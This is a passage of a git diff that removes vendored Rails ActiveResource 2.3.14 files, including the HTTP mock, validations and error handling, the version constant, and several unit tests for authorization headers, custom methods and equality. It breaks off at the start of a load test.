-  # pairs have been recorded so you can create a new mock for that request.
-  #
-  # ==== Example
-  #   def setup
-  #     @matz  = { :id => 1, :name => "Matz" }.to_xml(:root => "person")
-  #     ActiveResource::HttpMock.respond_to do |mock|
-  #       mock.post   "/people.xml",   {}, @matz, 201, "Location" => "/people/1.xml"
-  #       mock.get    "/people/1.xml", {}, @matz
-  #       mock.put    "/people/1.xml", {}, nil, 204
-  #       mock.delete "/people/1.xml", {}, nil, 200
-  #     end
-  #   end
-  #   
-  #   def test_get_matz
-  #     person = Person.find(1)
-  #     assert_equal "Matz", person.name
-  #   end
-  #
-  class HttpMock
-    class Responder #:nodoc:
-      def initialize(responses)
-        @responses = responses
-      end
-
-      for method in [ :post, :put, :get, :delete, :head ]
-        # def post(path, request_headers = {}, body = nil, status = 200, response_headers = {})
-        #   @responses[Request.new(:post, path, nil, request_headers)] = Response.new(body || "", status, response_headers)
-        # end
-        module_eval <<-EOE, __FILE__, __LINE__ + 1
-          def #{method}(path, request_headers = {}, body = nil, status = 200, response_headers = {})
-            @responses << [Request.new(:#{method}, path, nil, request_headers), Response.new(body || "", status, response_headers)]
-          end
-        EOE
-      end
-    end
-
-    class << self
-
-      # Returns an array of all request objects that have been sent to the mock.  You can use this to check
-      # if your model actually sent an HTTP request.
-      #
-      # ==== Example
-      #   def setup
-      #     @matz  = { :id => 1, :name => "Matz" }.to_xml(:root => "person")
-      #     ActiveResource::HttpMock.respond_to do |mock|
-      #       mock.get "/people/1.xml", {}, @matz
-      #     end
-      #   end
-      #   
-      #   def test_should_request_remote_service
-      #     person = Person.find(1)  # Call the remote service
-      #     
-      #     # This request object has the same HTTP method and path as declared by the mock
-      #     expected_request = ActiveResource::Request.new(:get, "/people/1.xml")
-      #     
-      #     # Assert that the mock received, and responded to, the expected request from the model
-      #     assert ActiveResource::HttpMock.requests.include?(expected_request)
-      #   end
-      def requests
-        @@requests ||= []
-      end
-
-      # Returns the list of requests and their mocked responses. Look up a
-      # response for a request using responses.assoc(request).
-      def responses
-        @@responses ||= []
-      end
-
-      # Accepts a block which declares a set of requests and responses for the HttpMock to respond to in
-      # the following format:
-      # 
-      #   mock.http_method(path, request_headers = {}, body = nil, status = 200, response_headers = {})
-      # 
-      # === Example
-      # 
-      #   @matz  = { :id => 1, :name => "Matz" }.to_xml(:root => "person")
-      #   ActiveResource::HttpMock.respond_to do |mock|
-      #     mock.post   "/people.xml",   {}, @matz, 201, "Location" => "/people/1.xml"
-      #     mock.get    "/people/1.xml", {}, @matz
-      #     mock.put    "/people/1.xml", {}, nil, 204
-      #     mock.delete "/people/1.xml", {}, nil, 200
-      #   end
-      # 
-      # Alternatively, accepts a hash of <tt>{Request => Response}</tt> pairs allowing you to generate
-      # these the following format:
-      # 
-      #   ActiveResource::Request.new(method, path, body, request_headers)
-      #   ActiveResource::Response.new(body, status, response_headers)
-      # 
-      # === Example
-      # 
-      # Request.new(:#{method}, path, nil, request_headers)
-      # 
-      #   @matz  = { :id => 1, :name => "Matz" }.to_xml(:root => "person")
-      #
-      #   create_matz      = ActiveResource::Request.new(:post, '/people.xml', @matz, {})
-      #   created_response = ActiveResource::Response.new("", 201, {"Location" => "/people/1.xml"})
-      #   get_matz         = ActiveResource::Request.new(:get, '/people/1.xml', nil)
-      #   ok_response      = ActiveResource::Response.new("", 200, {})
-      # 
-      #   pairs = {create_matz => created_response, get_matz => ok_response}
-      # 
-      #   ActiveResource::HttpMock.respond_to(pairs)
-      #
-      # Note, by default, every time you call +respond_to+, any previous request and response pairs stored
-      # in HttpMock will be deleted giving you a clean slate to work on.
-      # 
-      # If you want to override this behaviour, pass in +false+ as the last argument to +respond_to+
-      # 
-      # === Example
-      # 
-      #   ActiveResource::HttpMock.respond_to do |mock|
-      #     mock.send(:get, "/people/1", {}, "XML1")
-      #   end
-      #   ActiveResource::HttpMock.responses.length #=> 1
-      #   
-      #   ActiveResource::HttpMock.respond_to(false) do |mock|
-      #     mock.send(:get, "/people/2", {}, "XML2")
-      #   end
-      #   ActiveResource::HttpMock.responses.length #=> 2
-      # 
-      # This also works with passing in generated pairs of requests and responses, again, just pass in false
-      # as the last argument:
-      # 
-      # === Example
-      # 
-      #   ActiveResource::HttpMock.respond_to do |mock|
-      #     mock.send(:get, "/people/1", {}, "XML1")
-      #   end
-      #   ActiveResource::HttpMock.responses.length #=> 1
-      # 
-      #   get_matz         = ActiveResource::Request.new(:get, '/people/1.xml', nil)
-      #   ok_response      = ActiveResource::Response.new("", 200, {})
-      # 
-      #   pairs = {get_matz => ok_response}
-      #
-      #   ActiveResource::HttpMock.respond_to(pairs, false)
-      #   ActiveResource::HttpMock.responses.length #=> 2
-      def respond_to(*args) #:yields: mock
-        pairs = args.first || {}
-        reset! if args.last.class != FalseClass
-        responses.concat pairs.to_a
-        if block_given?
-          yield Responder.new(responses)
-        else
-          Responder.new(responses)
-        end
-      end
-
-      # Deletes all logged requests and responses.
-      def reset!
-        requests.clear
-        responses.clear
-      end
-    end
-
-    # body?       methods
-    { true  => %w(post put),
-      false => %w(get delete head) }.each do |has_body, methods|
-      methods.each do |method|
-        # def post(path, body, headers)
-        #   request = ActiveResource::Request.new(:post, path, body, headers)
-        #   self.class.requests << request
-        #   if response = self.class.responses.assoc(request)
-        #     response[1]
-        #   else
-        #     raise InvalidRequestError.new("Could not find a response recorded for #{request.to_s} - Responses recorded are: - #{inspect_responses}")
-        #   end
-        # end
-        module_eval <<-EOE, __FILE__, __LINE__ + 1
-          def #{method}(path, #{'body, ' if has_body}headers)
-            request = ActiveResource::Request.new(:#{method}, path, #{has_body ? 'body, ' : 'nil, '}headers)
-            self.class.requests << request
-            if response = self.class.responses.assoc(request)
-              response[1]
-            else
-              raise InvalidRequestError.new("Could not find a response recorded for \#{request.to_s} - Responses recorded are: \#{inspect_responses}")
-            end
-          end
-        EOE
-      end
-    end
-
-    def initialize(site) #:nodoc:
-      @site = site
-    end
-
-    def inspect_responses #:nodoc:
-      self.class.responses.map { |r| r[0].to_s }.inspect
-    end
-  end
-
-  class Request
-    attr_accessor :path, :method, :body, :headers
-
-    def initialize(method, path, body = nil, headers = {})
-      @method, @path, @body, @headers = method, path, body, headers
-    end
-
-    def ==(req)
-      path == req.path && method == req.method && headers_match?(req)
-    end
-
-    def to_s
-      "<#{method.to_s.upcase}: #{path} [#{headers}] (#{body})>"
-    end
-
-    private
-
-    def headers_match?(req)
-      # Ignore format header on equality if it's not defined
-      format_header = ActiveResource::Connection::HTTP_FORMAT_HEADER_NAMES[method]
-      if headers[format_header].present? || req.headers[format_header].blank?
-        headers == req.headers
-      else
-        headers.dup.merge(format_header => req.headers[format_header]) == req.headers
-      end
-    end
-
-  end
-
-  class Response
-    attr_accessor :body, :message, :code, :headers
-
-    def initialize(body, message = 200, headers = {})
-      @body, @message, @headers = body, message.to_s, headers
-      @code = @message[0,3].to_i
-
-      resp_cls = Net::HTTPResponse::CODE_TO_OBJ[@code.to_s]
-      if resp_cls && !resp_cls.body_permitted?
-        @body = nil
-      end
-
-      if @body.nil?
-        self['Content-Length'] = "0"
-      else
-        self['Content-Length'] = body.size.to_s
-      end
-    end
-
-    def success?
-      (200..299).include?(code)
-    end
-
-    def [](key)
-      headers[key]
-    end
-
-    def []=(key, value)
-      headers[key] = value
-    end
-
-    def ==(other)
-      if (other.is_a?(Response))
-        other.body == body && other.message == message && other.headers == headers
-      else
-        false
-      end
-    end
-  end
-
-  class Connection
-    private
-      silence_warnings do
-        def http
-          @http ||= HttpMock.new(@site)
-        end
-      end
-  end
-end
diff --git a/vendor/rails/activeresource/lib/active_resource/validations.rb b/vendor/rails/activeresource/lib/active_resource/validations.rb
deleted file mode 100644
index f5aa24f0..00000000
--- a/vendor/rails/activeresource/lib/active_resource/validations.rb
+++ /dev/null
@@ -1,290 +0,0 @@
-module ActiveResource
-  class ResourceInvalid < ClientError  #:nodoc:
-  end
-
-  # Active Resource validation is reported to and from this object, which is used by Base#save
-  # to determine whether the object in a valid state to be saved. See usage example in Validations.  
-  class Errors
-    include Enumerable
-    attr_reader :errors
-
-    delegate :empty?, :to => :errors
-    
-    def initialize(base) # :nodoc:
-      @base, @errors = base, {}
-    end
-
-    # Add an error to the base Active Resource object rather than an attribute.
-    #
-    # ==== Examples
-    #   my_folder = Folder.find(1)
-    #   my_folder.errors.add_to_base("You can't edit an existing folder")
-    #   my_folder.errors.on_base
-    #   # => "You can't edit an existing folder"
-    #
-    #   my_folder.errors.add_to_base("This folder has been tagged as frozen")
-    #   my_folder.valid?
-    #   # => false
-    #   my_folder.errors.on_base
-    #   # => ["You can't edit an existing folder", "This folder has been tagged as frozen"]
-    #
-    def add_to_base(msg)
-      add(:base, msg)
-    end
-
-    # Adds an error to an Active Resource object's attribute (named for the +attribute+ parameter)
-    # with the error message in +msg+.
-    #
-    # ==== Examples
-    #   my_resource = Node.find(1)
-    #   my_resource.errors.add('name', 'can not be "base"') if my_resource.name == 'base'
-    #   my_resource.errors.on('name')
-    #   # => 'can not be "base"!'
-    #
-    #   my_resource.errors.add('desc', 'can not be blank') if my_resource.desc == ''
-    #   my_resource.valid?
-    #   # => false
-    #   my_resource.errors.on('desc')
-    #   # => 'can not be blank!'
-    #
-    def add(attribute, msg)
-      @errors[attribute.to_s] = [] if @errors[attribute.to_s].nil?
-      @errors[attribute.to_s] << msg
-    end
-
-    # Returns true if the specified +attribute+ has errors associated with it.
-    #
-    # ==== Examples
-    #   my_resource = Disk.find(1)
-    #   my_resource.errors.add('location', 'must be Main') unless my_resource.location == 'Main'
-    #   my_resource.errors.on('location')
-    #   # => 'must be Main!'
-    #
-    #   my_resource.errors.invalid?('location')
-    #   # => true
-    #   my_resource.errors.invalid?('name')
-    #   # => false
-    def invalid?(attribute)
-      !@errors[attribute.to_s].nil?
-    end
-
-    # A method to return the errors associated with +attribute+, which returns nil, if no errors are 
-    # associated with the specified +attribute+, the error message if one error is associated with the specified +attribute+,
-    # or an array of error messages if more than one error is associated with the specified +attribute+.
-    #
-    # ==== Examples
-    #   my_person = Person.new(params[:person])
-    #   my_person.errors.on('login')
-    #   # => nil
-    #
-    #   my_person.errors.add('login', 'can not be empty') if my_person.login == ''
-    #   my_person.errors.on('login')
-    #   # => 'can not be empty'
-    #
-    #   my_person.errors.add('login', 'can not be longer than 10 characters') if my_person.login.length > 10
-    #   my_person.errors.on('login')
-    #   # => ['can not be empty', 'can not be longer than 10 characters']
-    def on(attribute)
-      errors = @errors[attribute.to_s]
-      return nil if errors.nil?
-      errors.size == 1 ? errors.first : errors
-    end
-    
-    alias :[] :on
-
-    # A method to return errors assigned to +base+ object through add_to_base, which returns nil, if no errors are 
-    # associated with the specified +attribute+, the error message if one error is associated with the specified +attribute+,
-    # or an array of error messages if more than one error is associated with the specified +attribute+.
-    #
-    # ==== Examples
-    #   my_account = Account.find(1)
-    #   my_account.errors.on_base
-    #   # => nil
-    #
-    #   my_account.errors.add_to_base("This account is frozen")
-    #   my_account.errors.on_base
-    #   # => "This account is frozen"
-    #
-    #   my_account.errors.add_to_base("This account has been closed")
-    #   my_account.errors.on_base
-    #   # => ["This account is frozen", "This account has been closed"]
-    #
-    def on_base
-      on(:base)
-    end
-
-    # Yields each attribute and associated message per error added.
-    #
-    # ==== Examples
-    #   my_person = Person.new(params[:person])
-    #
-    #   my_person.errors.add('login', 'can not be empty') if my_person.login == ''
-    #   my_person.errors.add('password', 'can not be empty') if my_person.password == ''
-    #   messages = ''
-    #   my_person.errors.each {|attr, msg| messages += attr.humanize + " " + msg + "<br />"}
-    #   messages
-    #   # => "Login can not be empty<br />Password can not be empty<br />"
-    #
-    def each
-      @errors.each_key { |attr| @errors[attr].each { |msg| yield attr, msg } }
-    end
-
-    # Yields each full error message added. So Person.errors.add("first_name", "can't be empty") will be returned
-    # through iteration as "First name can't be empty".
-    #
-    # ==== Examples
-    #   my_person = Person.new(params[:person])
-    #
-    #   my_person.errors.add('login', 'can not be empty') if my_person.login == ''
-    #   my_person.errors.add('password', 'can not be empty') if my_person.password == ''
-    #   messages = ''
-    #   my_person.errors.each_full {|msg| messages += msg + "<br/>"}
-    #   messages
-    #   # => "Login can not be empty<br />Password can not be empty<br />"
-    #
-    def each_full
-      full_messages.each { |msg| yield msg }
-    end
-
-    # Returns all the full error messages in an array.
-    #
-    # ==== Examples
-    #   my_person = Person.new(params[:person])
-    #
-    #   my_person.errors.add('login', 'can not be empty') if my_person.login == ''
-    #   my_person.errors.add('password', 'can not be empty') if my_person.password == ''
-    #   messages = ''
-    #   my_person.errors.full_messages.each {|msg| messages += msg + "<br/>"}
-    #   messages
-    #   # => "Login can not be empty<br />Password can not be empty<br />"
-    #
-    def full_messages
-      full_messages = []
-
-      @errors.each_key do |attr|
-        @errors[attr].each do |msg|
-          next if msg.nil?
-
-          if attr == "base"
-            full_messages << msg
-          else
-            full_messages << [attr.humanize, msg].join(' ')
-          end
-        end
-      end
-      full_messages
-    end
-
-    def clear
-      @errors = {}
-    end
-
-    # Returns the total number of errors added. Two errors added to the same attribute will be counted as such
-    # with this as well.
-    #
-    # ==== Examples
-    #   my_person = Person.new(params[:person])
-    #   my_person.errors.size
-    #   # => 0
-    #
-    #   my_person.errors.add('login', 'can not be empty') if my_person.login == ''
-    #   my_person.errors.add('password', 'can not be empty') if my_person.password == ''
-    #   my_person.error.size
-    #   # => 2
-    #
-    def size
-      @errors.values.inject(0) { |error_count, attribute| error_count + attribute.size }
-    end
-
-    alias_method :count, :size
-    alias_method :length, :size
-    
-    # Grabs errors from an array of messages (like ActiveRecord::Validations)
-    def from_array(messages)
-      clear
-      humanized_attributes = @base.attributes.keys.inject({}) { |h, attr_name| h.update(attr_name.humanize => attr_name) }
-      messages.each do |message|
-        attr_message = humanized_attributes.keys.detect do |attr_name|
-          if message[0, attr_name.size + 1] == "#{attr_name} "
-            add humanized_attributes[attr_name], message[(attr_name.size + 1)..-1]
-          end
-        end
-        
-        add_to_base message if attr_message.nil?
-      end
-    end
-
-    # Grabs errors from the json response.
-    def from_json(json)
-      array = ActiveSupport::JSON.decode(json)['errors'] rescue []
-      from_array array
-    end
-
-    # Grabs errors from the XML response.
-    def from_xml(xml)
-      array = Array.wrap(Hash.from_xml(xml)['errors']['error']) rescue []
-      from_array array
-    end
-  end
-  
-  # Module to support validation and errors with Active Resource objects. The module overrides
-  # Base#save to rescue ActiveResource::ResourceInvalid exceptions and parse the errors returned 
-  # in the web service response. The module also adds an +errors+ collection that mimics the interface 
-  # of the errors provided by ActiveRecord::Errors.
-  #
-  # ==== Example
-  #
-  # Consider a Person resource on the server requiring both a +first_name+ and a +last_name+ with a 
-  # <tt>validates_presence_of :first_name, :last_name</tt> declaration in the model:
-  #
-  #   person = Person.new(:first_name => "Jim", :last_name => "")
-  #   person.save                   # => false (server returns an HTTP 422 status code and errors)
-  #   person.valid?                 # => false
-  #   person.errors.empty?          # => false
-  #   person.errors.count           # => 1
-  #   person.errors.full_messages   # => ["Last name can't be empty"]
-  #   person.errors.on(:last_name)  # => "can't be empty"
-  #   person.last_name = "Halpert"  
-  #   person.save                   # => true (and person is now saved to the remote service)
-  #
-  module Validations
-    def self.included(base) # :nodoc:
-      base.class_eval do
-        alias_method_chain :save, :validation
-      end
-    end
-
-    # Validate a resource and save (POST) it to the remote web service.
-    def save_with_validation
-      save_without_validation
-      true
-    rescue ResourceInvalid => error
-      case self.class.format
-      when ActiveResource::Formats[:xml]
-        errors.from_xml(error.response.body)
-      when ActiveResource::Formats[:json]
-        errors.from_json(error.response.body)
-      end
-      false
-    end
-
-    # Checks for errors on an object (i.e., is resource.errors empty?).
-    # 
-    # ==== Examples
-    #   my_person = Person.create(params[:person])
-    #   my_person.valid?
-    #   # => true
-    #
-    #   my_person.errors.add('login', 'can not be empty') if my_person.login == ''
-    #   my_person.valid?
-    #   # => false
-    def valid?
-      errors.empty?
-    end
-
-    # Returns the Errors object that holds all information about attribute error messages.
-    def errors
-      @errors ||= Errors.new(self)
-    end
-  end
-end
diff --git a/vendor/rails/activeresource/lib/active_resource/version.rb b/vendor/rails/activeresource/lib/active_resource/version.rb
deleted file mode 100644
index d8b34f12..00000000
--- a/vendor/rails/activeresource/lib/active_resource/version.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-module ActiveResource
-  module VERSION #:nodoc:
-    MAJOR = 2
-    MINOR = 3
-    TINY  = 14
-
-    STRING = [MAJOR, MINOR, TINY].join('.')
-  end
-end
diff --git a/vendor/rails/activeresource/lib/activeresource.rb b/vendor/rails/activeresource/lib/activeresource.rb
deleted file mode 100644
index 666656cc..00000000
--- a/vendor/rails/activeresource/lib/activeresource.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-require 'active_resource'
-ActiveSupport::Deprecation.warn 'require "activeresource" is deprecated and will be removed in Rails 3. Use require "active_resource" instead.'
diff --git a/vendor/rails/activeresource/test/abstract_unit.rb b/vendor/rails/activeresource/test/abstract_unit.rb
deleted file mode 100644
index c769bf03..00000000
--- a/vendor/rails/activeresource/test/abstract_unit.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-require 'rubygems'
-require 'test/unit'
-require 'active_support/test_case'
-
-$:.unshift File.expand_path('../../lib', __FILE__)
-$:.unshift File.expand_path('../../../activesupport/lib', __FILE__)
-require 'active_resource'
-require 'active_resource/http_mock'
-
-$:.unshift "#{File.dirname(__FILE__)}/../test"
-require 'setter_trap'
-
-ActiveResource::Base.logger = Logger.new("#{File.dirname(__FILE__)}/debug.log")
-
-def uses_gem(gem_name, test_name, version = '> 0')
-  gem gem_name.to_s, version
-  require gem_name.to_s
-  yield
-rescue LoadError
-  $stderr.puts "Skipping #{test_name} tests. `gem install #{gem_name}` and try again."
-end
diff --git a/vendor/rails/activeresource/test/authorization_test.rb b/vendor/rails/activeresource/test/authorization_test.rb
deleted file mode 100644
index ca25f437..00000000
--- a/vendor/rails/activeresource/test/authorization_test.rb
+++ /dev/null
@@ -1,122 +0,0 @@
-require 'abstract_unit'
-
-class AuthorizationTest < Test::Unit::TestCase
-  Response = Struct.new(:code)
-
-  def setup
-    @conn = ActiveResource::Connection.new('http://localhost')
-    @matz  = { :id => 1, :name => 'Matz' }.to_xml(:root => 'person')
-    @david = { :id => 2, :name => 'David' }.to_xml(:root => 'person')
-    @authenticated_conn = ActiveResource::Connection.new("http://david:test123@localhost")
-    @authorization_request_header = { 'Authorization' => 'Basic ZGF2aWQ6dGVzdDEyMw==' }
-
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get    "/people/2.xml",           @authorization_request_header, @david
-      mock.put    "/people/2.xml",           @authorization_request_header, nil, 204
-      mock.delete "/people/2.xml",           @authorization_request_header, nil, 200
-      mock.post   "/people/2/addresses.xml", @authorization_request_header, nil, 201, 'Location' => '/people/1/addresses/5'
-    end
-  end
-
-  def test_authorization_header
-    authorization_header = @authenticated_conn.__send__(:authorization_header)
-    assert_equal @authorization_request_header['Authorization'], authorization_header['Authorization']
-    authorization = authorization_header["Authorization"].to_s.split
-    
-    assert_equal "Basic", authorization[0]
-    assert_equal ["david", "test123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
-  end
-  
-  def test_authorization_header_with_username_but_no_password
-    @conn = ActiveResource::Connection.new("http://david:@localhost")
-    authorization_header = @conn.__send__(:authorization_header)
-    authorization = authorization_header["Authorization"].to_s.split
-    
-    assert_equal "Basic", authorization[0]
-    assert_equal ["david"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
-  end
-  
-  def test_authorization_header_with_password_but_no_username
-    @conn = ActiveResource::Connection.new("http://:test123@localhost")
-    authorization_header = @conn.__send__(:authorization_header)
-    authorization = authorization_header["Authorization"].to_s.split
-    
-    assert_equal "Basic", authorization[0]
-    assert_equal ["", "test123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
-  end
-  
-  def test_authorization_header_with_decoded_credentials_from_url
-    @conn = ActiveResource::Connection.new("http://my%40email.com:%31%32%33@localhost")
-    authorization_header = @conn.__send__(:authorization_header)
-    authorization = authorization_header["Authorization"].to_s.split
-
-    assert_equal "Basic", authorization[0]
-    assert_equal ["my@email.com", "123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
-  end
-
-  def test_authorization_header_explicitly_setting_username_and_password
-    @authenticated_conn = ActiveResource::Connection.new("http://@localhost")
-    @authenticated_conn.user = 'david'
-    @authenticated_conn.password = 'test123'
-    authorization_header = @authenticated_conn.__send__(:authorization_header)
-    assert_equal @authorization_request_header['Authorization'], authorization_header['Authorization']
-    authorization = authorization_header["Authorization"].to_s.split
-
-    assert_equal "Basic", authorization[0]
-    assert_equal ["david", "test123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
-  end
-
-  def test_authorization_header_explicitly_setting_username_but_no_password
-    @conn = ActiveResource::Connection.new("http://@localhost")
-    @conn.user = "david"
-    authorization_header = @conn.__send__(:authorization_header)
-    authorization = authorization_header["Authorization"].to_s.split
-
-    assert_equal "Basic", authorization[0]
-    assert_equal ["david"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
-  end
-
-  def test_authorization_header_explicitly_setting_password_but_no_username
-    @conn = ActiveResource::Connection.new("http://@localhost")
-    @conn.password = "test123"
-    authorization_header = @conn.__send__(:authorization_header)
-    authorization = authorization_header["Authorization"].to_s.split
-
-    assert_equal "Basic", authorization[0]
-    assert_equal ["", "test123"], ActiveSupport::Base64.decode64(authorization[1]).split(":")[0..1]
-  end
-
-  def test_get
-    david = @authenticated_conn.get("/people/2.xml")
-    assert_equal "David", david["name"]
-  end
-  
-  def test_post
-    response = @authenticated_conn.post("/people/2/addresses.xml")
-    assert_equal "/people/1/addresses/5", response["Location"]
-  end
-  
-  def test_put
-    response = @authenticated_conn.put("/people/2.xml")
-    assert_equal 204, response.code
-  end
-  
-  def test_delete
-    response = @authenticated_conn.delete("/people/2.xml")
-    assert_equal 200, response.code
-  end
-
-  def test_raises_invalid_request_on_unauthorized_requests
-    assert_raise(ActiveResource::InvalidRequestError) { @conn.post("/people/2.xml") }
-    assert_raise(ActiveResource::InvalidRequestError) { @conn.post("/people/2/addresses.xml") }
-    assert_raise(ActiveResource::InvalidRequestError) { @conn.put("/people/2.xml") }
-    assert_raise(ActiveResource::InvalidRequestError) { @conn.delete("/people/2.xml") }
-  end
-
-  protected
-    def assert_response_raises(klass, code)
-      assert_raise(klass, "Expected response code #{code} to raise #{klass}") do
-        @conn.__send__(:handle_response, Response.new(code))
-      end
-    end
-end
diff --git a/vendor/rails/activeresource/test/base/custom_methods_test.rb b/vendor/rails/activeresource/test/base/custom_methods_test.rb
deleted file mode 100644
index 61887f4e..00000000
--- a/vendor/rails/activeresource/test/base/custom_methods_test.rb
+++ /dev/null
@@ -1,100 +0,0 @@
-require 'abstract_unit'
-require 'fixtures/person'
-require 'fixtures/street_address'
-
-class CustomMethodsTest < Test::Unit::TestCase
-  def setup
-    @matz  = { :id => 1, :name => 'Matz' }.to_xml(:root => 'person')
-    @matz_deep  = { :id => 1, :name => 'Matz', :other => 'other' }.to_xml(:root => 'person')
-    @matz_array = [{ :id => 1, :name => 'Matz' }].to_xml(:root => 'people')
-    @ryan  = { :name => 'Ryan' }.to_xml(:root => 'person')
-    @addy  = { :id => 1, :street => '12345 Street' }.to_xml(:root => 'address')
-    @addy_deep  = { :id => 1, :street => '12345 Street', :zip => "27519" }.to_xml(:root => 'address')
-
-    ActiveResource::HttpMock.respond_to do |mock|
-      mock.get    "/people/1.xml",             {}, @matz
-      mock.get    "/people/1/shallow.xml", {}, @matz
-      mock.get    "/people/1/deep.xml", {}, @matz_deep
-      mock.get    "/people/retrieve.xml?name=Matz", {}, @matz_array
-      mock.get    "/people/managers.xml", {}, @matz_array
-      mock.post   "/people/hire.xml?name=Matz", {}, nil, 201
-      mock.put    "/people/1/promote.xml?position=Manager", {}, nil, 204
-      mock.put    "/people/promote.xml?name=Matz", {}, nil, 204, {}
-      mock.put    "/people/sort.xml?by=name", {}, nil, 204
-      mock.delete "/people/deactivate.xml?name=Matz", {}, nil, 200
-      mock.delete "/people/1/deactivate.xml", {}, nil, 200
-      mock.post   "/people/new/register.xml",      {}, @ryan, 201, 'Location' => '/people/5.xml'
-      mock.post   "/people/1/register.xml", {}, @matz, 201
-      mock.get    "/people/1/addresses/1.xml", {}, @addy
-      mock.get    "/people/1/addresses/1/deep.xml", {}, @addy_deep
-      mock.put    "/people/1/addresses/1/normalize_phone.xml?locale=US", {}, nil, 204
-      mock.put    "/people/1/addresses/sort.xml?by=name", {}, nil, 204
-      mock.post   "/people/1/addresses/new/link.xml", {}, { :street => '12345 Street' }.to_xml(:root => 'address'), 201, 'Location' => '/people/1/addresses/2.xml'
-    end
-
-    Person.user = nil
-    Person.password = nil
-  end  
-
-  def teardown
-    ActiveResource::HttpMock.reset!
-  end
-
-  def test_custom_collection_method
-    # GET
-    assert_equal([{ "id" => 1, "name" => 'Matz' }], Person.get(:retrieve, :name => 'Matz'))
-
-    # POST
-    assert_equal(ActiveResource::Response.new("", 201, {}), Person.post(:hire, :name => 'Matz'))
-
-    # PUT
-    assert_equal ActiveResource::Response.new("", 204, {}),
-                   Person.put(:promote, {:name => 'Matz'}, 'atestbody')
-    assert_equal ActiveResource::Response.new("", 204, {}), Person.put(:sort, :by => 'name')
-
-    # DELETE
-    Person.delete :deactivate, :name => 'Matz'
-
-    # Nested resource
-    assert_equal ActiveResource::Response.new("", 204, {}), StreetAddress.put(:sort, :person_id => 1, :by => 'name')
-  end
-
-  def test_custom_element_method
-    # Test GET against an element URL
-    assert_equal Person.find(1).get(:shallow), {"id" => 1, "name" => 'Matz'}
-    assert_equal Person.find(1).get(:deep), {"id" => 1, "name" => 'Matz', "other" => 'other'}
-    
-    # Test PUT against an element URL
-    assert_equal ActiveResource::Response.new("", 204, {}), Person.find(1).put(:promote, {:position => 'Manager'}, 'body')
-    
-    # Test DELETE against an element URL
-    assert_equal ActiveResource::Response.new("", 200, {}), Person.find(1).delete(:deactivate)
-    
-    # With nested resources
-    assert_equal StreetAddress.find(1, :params => { :person_id => 1 }).get(:deep),
-                  { "id" => 1, "street" => '12345 Street', "zip" => "27519" }
-    assert_equal ActiveResource::Response.new("", 204, {}),
-                   StreetAddress.find(1, :params => { :person_id => 1 }).put(:normalize_phone, :locale => 'US')
-  end
-
-  def test_custom_new_element_method
-    # Test POST against a new element URL
-    ryan = Person.new(:name => 'Ryan')
-    assert_equal ActiveResource::Response.new(@ryan, 201, {'Location' => '/people/5.xml'}), ryan.post(:register)
-    expected_request = ActiveResource::Request.new(:post, '/people/new/register.xml', @ryan)
-    assert_equal expected_request.body, ActiveResource::HttpMock.requests.first.body
-
-    # Test POST against a nested collection URL
-    addy = StreetAddress.new(:street => '123 Test Dr.', :person_id => 1)
-    assert_equal ActiveResource::Response.new({ :street => '12345 Street' }.to_xml(:root => 'address'), 
-                   201, {'Location' => '/people/1/addresses/2.xml'}),
-                 addy.post(:link)
-
-    matz = Person.new(:id => 1, :name => 'Matz')
-    assert_equal ActiveResource::Response.new(@matz, 201), matz.post(:register)
-  end
-
-  def test_find_custom_resources
-    assert_equal 'Matz', Person.find(:all, :from => :managers).first.name
-  end
-end
diff --git a/vendor/rails/activeresource/test/base/equality_test.rb b/vendor/rails/activeresource/test/base/equality_test.rb
deleted file mode 100644
index 84f1a7b9..00000000
--- a/vendor/rails/activeresource/test/base/equality_test.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-require 'abstract_unit'
-require "fixtures/person"
-require "fixtures/street_address"
-
-class BaseEqualityTest < Test::Unit::TestCase
-  def setup
-    @new = Person.new
-    @one = Person.new(:id => 1)
-    @two = Person.new(:id => 2)
-    @street = StreetAddress.new(:id => 2)
-  end
-
-  def test_should_equal_self
-    assert @new == @new, '@new == @new'
-    assert @one == @one, '@one == @one'
-  end
-
-  def test_shouldnt_equal_new_resource
-    assert @new != @one, '@new != @one'
-    assert @one != @new, '@one != @new'
-  end
-
-  def test_shouldnt_equal_different_class
-    assert @two != @street, 'person != street_address with same id'
-    assert @street != @two, 'street_address != person with same id'
-  end
-
-  def test_eql_should_alias_equals_operator
-    assert_equal @new == @new, @new.eql?(@new)
-    assert_equal @new == @one, @new.eql?(@one)
-
-    assert_equal @one == @one, @one.eql?(@one)
-    assert_equal @one == @new, @one.eql?(@new)
-
-    assert_equal @one == @street, @one.eql?(@street)
-  end
-
-  def test_hash_should_be_id_hash
-    [@new, @one, @two, @street].each do |resource|
-      assert_equal resource.id.hash, resource.hash
-    end
-  end
-
-	def test_with_prefix_options
-    assert_equal @one == @one, @one.eql?(@one)
-    assert_equal @one == @one.dup, @one.eql?(@one.dup)
-    new_one = @one.dup
-    new_one.prefix_options = {:foo => 'bar'}
-    assert_not_equal @one, new_one
-	end
-
-end
diff --git a/vendor/rails/activeresource/test/base/load_test.rb b/vendor/rails/activeresource/test/base/load_test.rb
deleted file mode 100644
index 079ec2c1..00000000
--- a/vendor/rails/activeresource/test/base/load_test.rb
+++ /dev/null
@@ -1,161 +0,0 @@
-require 'abstract_unit'
-require "fixtures/person"
-require "fixtures/street_address"
-
-module Highrise
-  class Note < ActiveResource::Base
-    self.site = "http://37s.sunrise.i:3000"
-  end
-
-  class Comment < ActiveResource::Base
-    self.site = "http://37s.sunrise.i:3000"
-  end
-
-  module Deeply
-    module Nested
-
-      class Note < ActiveResource::Base
-        self.site = "http://37s.sunrise.i:3000"
-      end
-
-       class Comment < ActiveResource::Base
-         self.site = "http://37s.sunrise.i:3000"
-       end
-
-       module TestDifferentLevels
-
-         class Note < ActiveResource::Base
-           self.site = "http://37s.sunrise.i:3000"
-         end
-
-       end
-
-    end
-  end
-
-end
-
-
-class BaseLoadTest < Test::Unit::TestCase
-  def setup
